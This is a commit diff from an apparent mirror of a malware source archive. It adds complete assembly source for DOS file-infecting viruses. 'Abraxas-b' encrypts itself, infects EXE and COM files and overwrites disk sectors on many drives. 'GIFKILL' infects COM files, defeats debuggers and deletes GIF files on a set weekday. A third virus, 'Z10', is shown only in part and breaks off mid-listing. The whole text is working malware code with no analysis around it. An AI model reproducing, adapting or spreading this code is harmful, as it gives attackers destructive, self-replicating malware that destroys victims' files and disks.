mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 23:39:23 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,365 @@
|
||||
; Abraxas.asm : [Abraxas-b] by Abraxas
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'DA' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
patch_startencrypt:
|
||||
mov bx,offset startencrypt ; start of decryption
|
||||
mov cx,(offset heap - offset startencrypt)/2 ; iterations
|
||||
decrypt_loop:
|
||||
db 2eh,81h,07h ; add word ptr cs:[bx], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc bx ; calculate new decryption location
|
||||
inc bx
|
||||
loop decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],5 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
jmp activate ; Always activate
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
stacksave2 dd ?
|
||||
|
||||
activate: ; Conditions satisfied
|
||||
mov cx,255 ; Nuke a few sectors
|
||||
mov dx,1 ; Beginning with sector 1!!!
|
||||
int 26h ; VIPERize them!!!! Rah!!!
|
||||
jc error ; Uh oh. Problem.
|
||||
add sp,2 ; Worked great. Clear the stack...
|
||||
error:
|
||||
inc al ; Get another drive!
|
||||
cmp al,200 ; Have we fried 200 drives?
|
||||
je done_phrying ; Yep.
|
||||
jmp short activate ; Nope.
|
||||
done_phrying:
|
||||
cli ; Disable Interrupts
|
||||
jmp exit_virus
|
||||
|
||||
creator db '[Z10]',0 ; Mass Produced Code Generator
|
||||
virusname db '[Abraxas-b]',0
|
||||
author db 'Abraxas',0
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
|
||||
cmp ax,'DN' ; Ends in ND? (commaND)
|
||||
jz find_next
|
||||
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,12000 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax, heap-decrypt ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
get_encrypt_value:
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
or dx,dx ; Check if encryption value = 0
|
||||
jz get_encrypt_value ; Get another if it is
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
; The following code is the buffer for the write function
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
||||
@@ -0,0 +1,392 @@
|
||||
; GIFKILL.ASM -- Seek and Destroy GIF
|
||||
; Written by Dark Avenger
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
lea bx,[di + null_vector] ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
mov cx,0003h ; Do 3 infections
|
||||
search_loop: push cx ; Save CX
|
||||
call search_files ; Find and infect a file
|
||||
pop cx ; Restore CX
|
||||
loop search_loop ; Repeat until CX is 0
|
||||
|
||||
call get_weekday
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
je strt00 ; If equal, do effect
|
||||
jmp end00 ; Otherwise skip over it
|
||||
strt00: lea dx,[di + data00] ; DX points to data
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; All file attributes valid
|
||||
int 021h
|
||||
jc erase_done ; Exit procedure on failure
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
lea dx,[bx + 01Eh] ; DX points to filename in DTA
|
||||
erase_loop: mov ah,041h ; DOS delete file function
|
||||
int 021h
|
||||
mov ah,03Ch ; DOS create file function
|
||||
xor cx,cx ; No attributes for new file
|
||||
int 021h
|
||||
mov ah,041h ; DOS delete file function
|
||||
int 021h
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc erase_loop ; Repeat until no files left
|
||||
erase_done:
|
||||
|
||||
end00:
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
|
||||
db 0FAh,045h,02Eh,0B3h,024h
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
db 0A6h,03Ch,0B6h,078h,0CCh
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 002h,0EFh,034h,048h,091h
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 089h,043h,03Bh,054h,0AAh
|
||||
|
||||
get_weekday proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_weekday endp
|
||||
|
||||
data00 db "*.GIF",0
|
||||
|
||||
vcl_marker db "[Z10]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "Bye Bye Mr.GIF",0
|
||||
db "You'll never find all the file"
|
||||
db "s I have infected!",0
|
||||
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,375 @@
|
||||
; Z10.asm : [Z10] by Paul Ferguson
|
||||
; Created wik the Phalcon/Skism Mass-Produced Code Generator
|
||||
; from the configuration file skeleton.cfg
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'ZA' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
patch_startencrypt:
|
||||
mov si,offset startencrypt ; start of decryption
|
||||
mov di,(offset heap - offset startencrypt)/2 ; iterations
|
||||
decrypt_loop:
|
||||
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc si ; calculate new decryption location
|
||||
inc si
|
||||
dec di ; If we are not done, then
|
||||
jnz decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],2 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
mov ah,2ah ; Get current date
|
||||
int 21h
|
||||
cmp dh,10 ; Check month
|
||||
jb exit_virus
|
||||
cmp dl,30 ; Check date
|
||||
jb exit_virus
|
||||
cmp cx,1991 ; Check year
|
||||
jb exit_virus
|
||||
cmp al,0 ; Check date of week
|
||||
jb exit_virus
|
||||
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h
|
||||
cmp dl,50 ; Check the percentage
|
||||
jbe activate
|
||||
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
